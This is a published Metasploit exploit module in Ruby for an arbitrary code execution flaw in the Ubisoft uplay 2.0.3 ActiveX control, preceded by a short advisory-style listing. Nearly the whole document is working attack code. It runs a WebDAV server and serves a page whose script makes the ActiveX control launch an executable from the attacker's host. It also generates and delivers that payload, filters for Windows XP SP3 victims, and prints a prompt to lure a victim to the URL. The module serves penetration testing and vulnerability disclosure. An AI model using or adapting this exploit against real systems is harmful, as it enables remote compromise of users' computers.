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Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution

Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution
Posted Aug 7, 2012
Authored by Tavis Ormandy, Richard Hicks, phillips321, Ben Campbell | Site metasploit.com

The uplay ActiveX component allows an attacker to execute any command line action. User must sign in, unless auto-sign in is enabled and uplay is not already running. Due to the way the malicious executable is served (WebDAV), the module must be run on port 80, so please ensure you have proper privileges. Ubisoft released patch 2.04 as of Mon 20th July.

tags | exploit, activex
advisories | OSVDB-84402
MD5 | d11a8dbcc1ac1eb4891e9236623d06ea

Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',
'Description' => %q{
The uplay ActiveX component allows an attacker to execute any command line action.
User must sign in, unless auto-sign in is enabled and uplay must not already be
running. Due to the way the malicious executable is served (WebDAV), the module
must be run on port 80, so please make sure you have enough privilege to do that.
Ubisoft released patch 2.04 as of Mon 20th July.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'phillips321 <phillips321[at]phillips321.co.uk>',
'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
],
'References' =>
[
[ 'OSVDB', '84402'],
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 29 2012'))

register_options(
[
OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
], self.class)

# WebDAV does not support SSL and must run over port 80.
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def is_exploitable?(req)
# Only engage Win XP SP3 targets
req.headers['User-Agent'] =~ /NT 5\.1/
end

def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
if request.uri_parts['Resource'].include? @uplay_uri
if is_exploitable?(request)
prompt_uplay(cli, request)
else
print_error("Not the target we want, will not engage.")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
else
process_get(cli, request)
end
else
vprint_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end

def prompt_uplay(cli, request)
url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"

path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"

if path.length > 693
fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters")
return
end

cmd = Rex::Text.encode_base64(path)

classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
type = "application/x-uplaypc" # Unused but alternative to classid
content = %Q|<html>
<body>
<script>
x = document.createElement('OBJECT');
x.classid='#{classid}';
document.body.appendChild(x);
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
</script>
</body>
</html>|

print_status("GET => Exploit")
send_response_html(cli, content)
handler(cli)
end

def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"

if blacklisted_path?(request.uri)
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end

if (request.uri.include? @basename)
print_status("GET => Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end

# Treat index.html specially
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
vprint_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")

resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end

# Anything else is probably a request for a data file...
vprint_status("GET => DATA (#{request.uri})")
data = "HELLO!"
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"

if path !~ /\/$/

if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end

if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end

vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end

def generate_shares(path)
share_name = @share_name
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end

def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2

base = @basename
exts = @extensions.gsub(",", " ").split(/\s+/)
files = ""
exts.each do |ext|
files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
end

files
end

def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end

def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end

# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end

def exploit
@basename = rand_text_alpha(8)
@share_name = rand_text_alpha(8)
@extensions = "exe"

if datastore['EXPLOITPATH']
@uplay_uri = datastore['EXPLOITPATH']
else
@uplay_uri = rand_text_alpha(8)
end

myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

@exploit_unc = "\\\\#{myhost}\\"

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end

vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")

super
end
end

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